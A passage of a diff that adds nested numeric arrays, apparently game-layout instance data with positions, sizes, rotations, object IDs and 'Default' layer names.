+ 1
+ ]
+ ],
+ [
+ [
+ 1856,
+ 740,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5666,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1226,
+ 1114,
+ 0,
+ 279,
+ 523,
+ 0,
+ 0,
+ 1,
+ 0.519713282585144,
+ 0.9311663508415222,
+ 0,
+ 0,
+ []
+ ],
+ 531,
+ 5667,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 6,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3050.1943359375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5668,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3079.0146484375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5669,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3109.071533203125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5670,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3137.891845703125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5671,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3166.328125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5672,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3195.1484375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5673,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3225.205322265625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 5674,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3254.025634765625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6369,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3282.080078125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6370,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3310.900390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6372,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3340.957275390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6437,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3369.777587890625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6453,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3398.2138671875,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6454,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3427.0341796875,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6455,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3457.091064453125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6456,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3485.911376953125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6457,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3514.720947265625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6458,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3543.541259765625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6459,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3573.59814453125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6460,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3602.41845703125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6461,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3630.854736328125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6462,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3659.675048828125,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6463,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3687.84130859375,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6464,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3716.277587890625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6465,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3745.097900390625,
+ 936.3701782226562,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 374,
+ 6466,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2589.189208984375,
+ 737.8923950195312,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6467,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2704.106689453125,
+ 826.8309936523438,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6468,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2097.5556640625,
+ 569.8641967773438,
+ 0,
+ 144,
+ 93,
+ 0,
+ 0.1794672608375549,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6469,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1684,
+ 1604,
+ 0,
+ 170,
+ 51,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5098039507865906,
+ 0,
+ 0,
+ []
+ ],
+ 480,
+ 6470,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -635,
+ 1711,
+ 0,
+ 144,
+ 93,
+ 0,
+ -0.9805812835693359,
+ 1,
+ 0.5,
+ 0.5053763389587402,
+ 0,
+ 0,
+ []
+ ],
+ 484,
+ 6471,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1943,
+ 1811,
+ 0,
+ 102.9173889160156,
+ 363.4954528808594,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 413,
+ 6472,
+ [],
+ [
+ [
+ 1,
+ 1,
+ 0,
+ 0.9,
+ 0,
+ 0,
+ 0,
+ 150,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5334.18359375,
+ 574.0819091796875,
+ 0,
+ 71,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.9718309640884399,
+ 0.5185185074806213,
+ 0,
+ 0,
+ []
+ ],
+ 351,
+ 6473,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 3,
+ 0
+ ],
+ [
+ 0,
+ 0,
+ 27,
+ "5334.184,600",
+ 0,
+ 2,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5336.18359375,
+ 590.0819091796875,
+ 0,
+ 26,
+ 123,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5040650367736816,
+ 0,
+ 0,
+ []
+ ],
+ 350,
+ 6474,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5337.18359375,
+ 244.0818786621094,
+ 0,
+ 13,
+ 804,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 352,
+ 6475,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5771,
+ 867,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6476,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6271,
+ 867,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6477,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -911,
+ 1305,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 6478,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -638,
+ 1437,
+ 0,
+ 275,
+ 275,
+ 0,
+ 0,
+ 1,
+ 0.5018181800842285,
+ 0.5018181800842285,
+ 0,
+ 0,
+ []
+ ],
+ 406,
+ 6479,
+ [],
+ [
+ [
+ -50,
+ 0
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5813,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 6480,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5972,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 6481,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6126,
+ 1107,
+ 0,
+ 177,
+ 26,
+ 0,
+ 0,
+ 1,
+ 0.5028248429298401,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 360,
+ 6482,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 787,
+ 1507,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 6483,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 80,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -505,
+ 968,
+ 0,
+ 270,
+ 204,
+ 0,
+ 0,
+ 1,
+ 0.4666666686534882,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 333,
+ 6484,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1376,
+ 1115,
+ 0,
+ 514,
+ 386,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 321,
+ 6485,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1370,
+ 4830,
+ 0,
+ 31,
+ 31,
+ 0,
+ 0,
+ 1,
+ 0.5161290168762207,
+ 0.5161290168762207,
+ 0,
+ 0,
+ []
+ ],
+ 199,
+ 6486,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -1068,
+ 3578,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 202,
+ 6487,
+ [],
+ [],
+ [
+ 20,
+ 360,
+ 1,
+ 200,
+ 32,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 50,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1037,
+ 3220,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 207,
+ 6488,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 15,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1382,
+ 615,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 313,
+ 6489,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -1194,
+ 617,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 6490,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -896,
+ 256,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 322,
+ 6491,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 174,
+ 734,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 328,
+ 6492,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 171,
+ 734,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 329,
+ 6493,
+ [],
+ [
+ []
+ ],
+ [
+ 80,
+ 30,
+ 0,
+ 200,
+ 8,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 35,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 0.5
+ ]
+ ],
+ [
+ [
+ 173,
+ 709,
+ 0,
+ 61,
+ 62,
+ 0,
+ 0,
+ 1,
+ 0.5081967115402222,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 324,
+ 6494,
+ [],
+ [
+ [
+ 0
+ ],
+ [
+ 400,
+ 800,
+ 50,
+ 400,
+ 600,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ],
+ [
+ 0,
+ 6,
+ 0,
+ 0.2,
+ 0,
+ 0,
+ 0,
+ 100,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 172.7669372558594,
+ 703.6318359375,
+ 0,
+ 59.89034271240234,
+ 54.22812271118164,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 344,
+ 6495,
+ [],
+ [
+ [],
+ [
+ 0,
+ 2,
+ 1,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -445,
+ 240,
+ 0,
+ 128,
+ 128,
+ 0,
+ 3.141592741012573,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 354,
+ 6496,
+ [],
+ [],
+ [
+ 50,
+ 360,
+ 1,
+ 200,
+ 20,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ 0,
+ -150,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -413,
+ 630,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 311,
+ 6497,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2985,
+ 1159,
+ 0,
+ 6106,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 6498,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1052,
+ 1908,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.4934210479259491,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 366,
+ 6499,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1339,
+ 1935,
+ 0,
+ 152,
+ 30,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5333333611488342,
+ 0,
+ 0,
+ []
+ ],
+ 368,
+ 6500,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 985,
+ 1712,
+ 0,
+ 416,
+ 33,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.01339285727590323,
+ 0.2121212184429169,
+ 0,
+ 0,
+ []
+ ],
+ 372,
+ 6501,
+ [],
+ [
+ [
+ 0,
+ 0,
+ 0,
+ 0.5,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 976,
+ 1916,
+ 0,
+ 395,
+ 9,
+ 0,
+ 1.570796370506287,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 373,
+ 6502,
+ [],
+ [
+ [],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -648,
+ 69,
+ 0,
+ 57.18288803100586,
+ 57.18288803100586,
+ 0,
+ 0,
+ 1,
+ 0.5070422291755676,
+ 0.5070422291755676,
+ 0,
+ 0,
+ []
+ ],
+ 375,
+ 6503,
+ [
+ [
+ 0
+ ]
+ ],
+ [
+ [
+ 330,
+ 1500,
+ 1500,
+ 400,
+ 2000,
+ 1000,
+ 0,
+ 0,
+ 0,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -772,
+ 91,
+ 0,
+ 25,
+ 226,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 376,
+ 6504,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -528,
+ 85,
+ 0,
+ 26,
+ 218,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 377,
+ 6505,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -648,
+ 57,
+ 0,
+ 49.11710357666016,
+ 32.80466461181641,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 378,
+ 6506,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -669,
+ 73,
+ 0,
+ 9.54636001586914,
+ 42.17941665649414,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 6507,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -627,
+ 73,
+ 0,
+ 9.54636001586914,
+ 43.21585464477539,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 379,
+ 6508,
+ [],
+ [
+ []
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -377,
+ 1413,
+ 0,
+ 197,
+ 222,
+ 0,
+ 0,
+ 1,
+ 0.4670050740242004,
+ 0.5540540814399719,
+ 0,
+ 0,
+ []
+ ],
+ 380,
+ 6509,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 6024,
+ 1004,
+ 0,
+ 716,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 6510,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6193,
+ 1275,
+ 0,
+ 1058,
+ 261,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 358,
+ 6511,
+ [],
+ [],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -945,
+ 1538,
+ 0,
+ 212.0303955078125,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 383,
+ 6512,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -170,
+ 1625,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 6513,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -319,
+ 1646,
+ 0,
+ 128,
+ 128,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 310,
+ 6514,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8498.5,
+ 577,
+ 0,
+ 527,
+ 67,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6515,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 8520.5,
+ 710,
+ 0,
+ 518,
+ 203,
+ 0,
+ 0,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 6516,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 6148.080078125,
+ 496.1255493164063,
+ 0,
+ 194,
+ 33,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5151515007019043,
+ 0,
+ 0,
+ []
+ ],
+ 408,
+ 6517,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -168,
+ 395,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 488,
+ 6518,
+ [],
